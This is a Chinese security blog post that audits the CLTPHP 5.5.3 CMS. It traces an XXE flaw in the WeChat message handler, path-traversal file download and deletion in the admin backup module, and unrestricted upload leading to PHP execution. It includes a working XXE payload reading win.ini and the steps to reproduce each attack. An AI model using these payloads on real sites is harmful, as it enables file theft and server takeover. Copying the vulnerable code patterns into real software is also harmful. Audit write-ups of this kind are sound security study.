PHP代码审计17—CLTPHP代码审计


前言:

  • 审计系统:CLTPHP 5.5.3
  • 审计环境:ph5.6.9+apache2.4.9+mysql5.7

一、系统架构分析

1、系统目录结构

/app           //系统程序所在目录
	common       //公共模块
	model_name   //home模块目录
		common.php //模块函数文件
		contraller //控制器目录
		model      //模型目录
		view       //视图目录
/extend        //拓展程序所在目录
/plugins       //系统插件所在目录
/public        //公开文件所在目录,包括html、js、图片等
/runtime       //运行目录
/think         //thinkphp框架目录
/vender        //thinkphp 依赖环境目录
/index.php     //系统入口文件

2、系统路由

前台路由文件:app/foute.php

return [
    '__pattern__' => [
        'name' => '\w+',
        'id' => '\d+',
        'catId' => '\d+',
    ],
    '[hello]'     => [
        ':id'   => ['home/hello', ['method' => 'get'], ['id' => '\d+']],
        ':name' => ['home/hello', ['method' => 'post']],
    ],
    'index' => 'home/index/index',                  //index路由到homemo模块的index控制器
    'news/:catId' => 'home/news/index',             //news/$id 路由到home模块的news控制器
    'newsInfo/:id/:catId' => 'home/news/info',      //newsInfo路由到home模块的news控制器的info()方法
    'about/:catId' => 'home/about/index',
    'system/:catId' => 'home/system/index',
    'services/:catId' => 'home/services/index',
    'servicesInfo/:id/:catId' => 'home/services/info',
    'team/:catId' => 'home/team/index',
    'contact/:catId' => 'home/contact/index',
];

3、系统配置

系统配置文件:app/config.php

部分配置:
// 默认模块名
    'default_module'         => 'home',
    // 禁止访问模块
    'deny_module_list'       => ['common'],
    // 默认控制器名
    'default_controller'     => 'Index',
    // 默认操作名
    'default_action'         => 'index',
    // 默认验证器
    'default_validate'       => '',
    // 默认的空控制器名
    'empty_controller'       => 'EmptyController',
//应用命名空间
 		// 默认全局过滤方法 用逗号分隔多个
    'default_filter'         => '',
    // 默认语言
    'default_lang'           => 'zh-cn',
    // 应用类库后缀
    'class_suffix'           => false,
    // 控制器类后缀
    'controller_suffix'      => false,
// 视图输出字符串内容替换
    'view_replace_str'       => [
        '__PUBLIC__' => __PUBLIC__,//public目录的全局变量,在/public/home.php中定义
        '__STATIC__' =>__PUBLIC__.'/static',
        '__UPLOAD__' =>__PUBLIC__.'/uploads',
        '__ADMIN__'    => __PUBLIC__.'/static/admin',
        '__HOME__'     => __PUBLIC__.'/static/home',
    ],

4、系统参数获取与过滤

原始全局变量获取:$_POST,$_GET,$_REQUEST

$request对象获取:post(),get(),input()。

原始变量获取:

GET示例:  index.php?id=123'<>"    
	die($_GET[id])      // result: 123'<>"
POST示例: index.php ,post_data: id=123<>'"
	die($_POST[id])      // result: 123<>'"
request示例:index.php ,post_data: id=123<>'"
	die($_REQUEST[id])      // result: 123<>'"

可见,对于原始的post、get等获取变量的方式,并没有使用全局变量过滤的方法进行安全防御。

$request对象获取变量:

POST示例: admin/ad/add POST_data:123<>'"
	var_dump(input('post.'))     //  'id' => string '123<>'"' (length=7)
GET示例: admin/ad/add?id=123<>'"
 	var_dump(input('get.'))     //  'id' => string '123<>'"' (length=7)

可见,通过request对象的助手函数input方法获取的参数也同样不会经过全局过滤。所以存在一定的安全风险。

二、Xml外部实体注入分析

1、漏洞分析

首先我们通过simplexml_load_string()函数定位到中:app\wcaht\controller\Wchat.php的getMessage()方法:

public function getMessage()
    {
    
    
        $from_xml = file_get_contents('php://input'); //通过php://input伪协议读取POSt内容
        if (empty($from_xml)) {
    
      return;  }
        $signature = input('msg_signature', '');
        $signature = input('timestamp', '');
        $nonce = input('nonce', '');
        $url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        $ticket_xml = $from_xml; //将POST读取的内容赋值到$ticket_xml
        $postObj = simplexml_load_string($ticket_xml, 'SimpleXMLElement', LIBXML_NOCDATA);  //使用simplexml_load_string 解析XML内容,存入$POSTobj中
        $this->instance_id = 0;
        if (!empty($postObj->MsgType)) {
    
    
            switch ($postObj->MsgType) {
    
    
                case "text":
                    //用户发的消息   存入表中
                    //$this->addUserMessage((string)$postObj->FromUserName, (string) $postObj->Content, (string) $postObj->MsgType);
                    $resultStr = $this->MsgTypeText($postObj);//调用msgtype解析XML 对象
                    break;
                case "event":
                    $resultStr = $this->MsgTypeEvent($postObj);
                    break;
                default:
                    $resultStr = "";
                    break;
            }
        }
        if (!empty($resultStr)) {
    
    
            echo $resultStr;
        } else {
    
    
            echo '';
        }
    }

可见,在这里通过php伪协议获取了出入的内容,并且使用了simplexml_load_string()函数将其转转换Wie了XML对象,并且更具msgtype的不同调用了MsgTypeText()和MsgTypeEven函数处理该XML对象。先跟如MsgTypeTex()函数看看(app/wchat/controller/wchat.php):

 private function MsgTypeText($postObj)
    {
    
    
        $funcFlag = 0; // 星标
        $wchat_replay = $this->wchat->getWhatReplay($this->instance_id, (string)$postObj->Content);  //将XML对象的内容获取到,并保存到数组中。
        // 判断用户输入text
        if (!empty($wchat_replay)) {
    
     // 关键词匹配回复
            $contentStr = $wchat_replay; // 构造media数据并返回
        } elseif ($postObj->Content == "uu") {
    
    
            $contentStr = "shopId:" . $this->instance_id;
        } elseif ($postObj->Content == "TESTCOMPONENT_MSG_TYPE_TEXT") {
    
    
            $contentStr = "TESTCOMPONENT_MSG_TYPE_TEXT_callback"; // 微店插件功能 关键词,预留口
        } elseif (strpos($postObj->Content, "QUERY_AUTH_CODE") !== false) {
    
    
            $get_str = str_replace("QUERY_AUTH_CODE:", "", $postObj->Content);
            $contentStr = $get_str . "_from_api"; // 微店插件功能 关键词,预留口
        } else {
    
    
            $content = $this->wchat->getDefaultReplay($this->instance_id);
            if (!empty($content)) {
    
    
                $contentStr = $content;
            } else {
    
    
                $contentStr = '欢迎!';
            }
        }
        if (is_array($contentStr)) {
    
     //调用event_key_news()处理XML对象和$contentStr
            $resultStr = $this->wchat->event_key_news($postObj, $contentStr);
        } elseif (!empty($contentStr)) {
    
    
            $resultStr = $this->wchat->event_key_text($postObj, $contentStr);
        } else {
    
    
            $resultStr = '';
        }
        return $resultStr;
    }

可以看在这里,进行回复消息处理,然后判断contentstr是否是数组,如果是则调用event_key_news()函数,如果不是则调用event_key_text()函数处理。先跟进event_key_news()函数(extend/dlt/WchatOauth.php):

public function event_key_news($postObj, $arr_item, $funcFlag = 0)
    {
    
    
        // 首条标题28字,其他标题39字
        if (! is_array($arr_item)) {
    
     return;}
        $itemTpl = "<item>
                        <Title><![CDATA[%s]]></Title>
                        <Description><![CDATA[%s]]></Description>
                        <PicUrl><![CDATA[%s]]></PicUrl>
                        <Url><![CDATA[%s]]></Url>
                    </item>
                ";
        $item_str = "";
  			//获取回复内容,输出到$item_str
        foreach ($arr_item as $item) {
    
    
            $item_str .= sprintf($itemTpl, $item['Title'], $item['Description'], $item['PicUrl'], $item['Url']);
        }
        $newsTpl = "<xml>
        <ToUserName><![CDATA[%s]]></ToUserName>
        <FromUserName><![CDATA[%s]]></FromUserName>
        <CreateTime>%s</CreateTime>
        <MsgType><![CDATA[news]]></MsgType>
        <Content><![CDATA[]]></Content>
        <ArticleCount>%s</ArticleCount>
        <Articles>$item_str</Articles>
        <FuncFlag>%s</FuncFlag>
        </xml>";
  			//通过sprintf函数返回6个节点,其中ToUserName、FromUserName来自于我们传入的XML文档,所以可控。所以也就能通过FromUserName或者ToUserName够构造paylaod来读取文件或者执行命令。
        $resultStr = sprintf($newsTpl, $postObj->FromUserName, $postObj->ToUserName, time(), count($arr_item), $funcFlag);
        return $resultStr;
    }

2、Payload分析

这里使用下面这个paylaod:

<?xml version="1.0" encoding="utf-8"?>  
//构造XML实体,读取系统文件
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>                                 
<root>
  <MsgType>text</MsgType>            //构造msgType为text,使其调用MsgTypeText()函数
  <ToUserName>&xxe; </ToUserName>    //通过ToUserName代用XML实体&XXE,也可以使用FromUserName
</root>  

如果要进行复现,就只需要访问我们的的/wchat/Wchat/getMessage,然后使用POST方式提交我们的payload即可。

三、任意文件删除与下载

1、黑盒测试

任意文件下载:

首先我们进入后台,找到数据库管理模块,先备份一个数据库文件,然后进入还原数据库选项:

在这里插入图片描述

在这里就可以进行文件的下载与删除,我们先进行文件下载,抓包后观察数据包,发现是通过传入文件名的方式下载的文件:

在这里插入图片描述

我们将文件名修改为系统文件,并使用目录穿越符穿越到根目录下然后发动数据包,发现成功下载了系统的ini文件,说明存在任意文件下载漏洞。

在这里插入图片描述

任意文件删除:

这里我们还是先抓包,发现依然使用的传输文件名的方式来进行删除:

在这里插入图片描述

我们还是修改文件名为系统中的任意文件,比如win.ini:

在这里插入图片描述

可以看到,根据提示,我们已经成功删除了。然后我们在使用任意文件下载来验证一下,是否确实已经删除了:

在这里插入图片描述

可见,提示文件不存在,说明文件确实已经被删除了。

2、源码分析

任意文件下载:

根据黑盒测试的URL,可以知道,任意文件下载的漏洞点在/admin模块,database控制器下的downfile()函数中。

public function downFile() {
    
    
        $file = $this->request->param('file'); //获取file名,通过测试我们知道,这里并不会对目录穿越符进行过滤。
        $type = $this->request->param('type');
        if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
    
    
            $this->error("下载地址不存在");
        }
  			//拼接文件的路径+问价名
        $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
        $filePath = $path[$type] . $file;
        if (!file_exists($filePath)) {
    
     //判断文件是否存在
            $this->error("该文件不存在,可能是被删除");
        }
        $filename = basename($filePath);  //获取文件的基本路径
        header("Content-type: application/octet-stream");
        header('Content-Disposition: attachment; filename="' . $filename . '"');
        header("Content-Length: " . filesize($filePath)); /
        readfile($filePath);  //读取文件进行输出
    }

可以看到,这里对我们传入的文件名并没有进行任何的过滤,就直接将文件名拼接到了文件路径中吗,导致了任意文件下载漏洞。

任意文件删除:

漏洞点:/admin模块,database控制器下的delSqlFiles()函数

public function delSqlFiles() {
    
    				
				$batchFlag = input('param.batchFlag', 0, 'intval');
        //批量删除
        if ($batchFlag) {
    
    
            $files = input('key', array());
        }else {
    
    
            $files[] = input('sqlfilename' , '');  //获取文件名,可以有多个
        }
        if (empty($files)) {
    
    
            $result['msg'] = '请选择要删除的sql文件!';
            $result['code'] = 0;
            return $result;
        }
        foreach ($files as $file) {
    
      //直接将文件名拼接到路径中,然后使用unlink函数循环删除file数组中的文件名。
            $a = unlink($this->datadir.'/' . $file);
        }
        if($a){
    
    
            $result['msg'] = '删除成功!';
            $result['url'] = url('restore');
            $result['code'] = 1;
            return $result;
        }else{
    
    
            $result['msg'] = '删除失败!';
            $result['code'] = 0;
            return $result;
        }
    }

可见,漏洞原因也是未经过任何过滤就将文件名拼接到文件路径中,导致了任意文件删除漏洞。

四、任意文件上传

1、黑盒测试

我们进入会员中心,然后上传一个图片之后抓包:

在这里插入图片描述

修改文件名和文件内容如下图:

在这里插入图片描述

提示上传成功,我们访问一下该文件:public/upload/20220819/ae022e7c463afa05ea2dde9a4825270d.php

在这里插入图片描述

可见成功的上传并执行了phpinfo()。说明漏洞存在。

2、代码分析

我们进入漏洞点:app/user/controller/upFiles.php文件的upload函数:

public function upload(){
    
    
        // 获取上传文件表单字段名
        $fileKey = array_keys(request()->file());
        // 获取表单上传的第一个文件
        $file = request()->file($fileKey['0']);
        // 移动到框架应用根目录/public/uploads/ 目录下
        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
        if($info){
    
    
            $result['code'] = 1;
            $result['info'] = '图片上传成功!';
            $path=str_replace('\\','/',$info->getSaveName());
            $result['url'] = '/uploads/'. $path;
            return $result;
        }else{
    
    
            // 上传失败获取错误信息
            $result['code'] =0;
            $result['info'] = '图片上传失败!';
            $result['url'] = '';
            return $result;
        }
    }

可见,这里直接获取了文件明和文件函数,然后使用了move函数(/think/libray/think/file.php)对文件进行移动。我们跟入看看:

public function move($path, $savename = true, $replace = true)
    {
    
    
        // 文件上传失败,捕获错误代码
        if (!empty($this->info['error'])) {
    
    
            $this->error($this->info['error']);
            return false;
        }
        // 检测合法性
        if (!$this->isValid()) {
    
    
            $this->error = '非法上传文件';
            return false;
        }
        // 验证上传
        if (!$this->check()) {
    
    
            return false;
        }
        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;
        // 检测目录
        if (false === $this->checkPath(dirname($filename))) {
    
    
            return false;
        }
        /* 不覆盖同名文件 */
        if (!$replace && is_file($filename)) {
    
    
            $this->error = '存在同名文件' . $filename;
            return false;
        }
        /* 移动文件 */
        if ($this->isTest) {
    
    
            rename($this->filename, $filename);
        } elseif (!move_uploaded_file($this->filename, $filename)) {
    
    
            $this->error = '文件上传保存错误!';
            return false;
        }
        // 返回 File对象实例
        $file = new self($filename);
        $file->setSaveName($saveName);
        $file->setUploadInfo($this->info);
        return $file;
    }

可以看到,这里调用了isValid()函数无文件进行了合法性检测,我们继续跟入:

public function isValid()
    {
    
    
        if ($this->isTest) {
    
    
            return is_file($this->filename);  //检测是否是文件
        }
        return is_uploaded_file($this->filename);  //是否是通过http POST上传的,是则返回true
    }

可见这里之间检测了是否是文件,并没有检测文件的内容一节文件后缀。

然后在 move函数中对文件名进行了重命名,并检测了文件是名否已经存在等,最后将文件保存到的public目录下。

所以可以看到,这里并没有对文件上传操作进行任何的安全检测,导致了任意文件长传。

五、参考资料

猜你喜欢

转载自blog.csdn.net/qq_45590334/article/details/126503369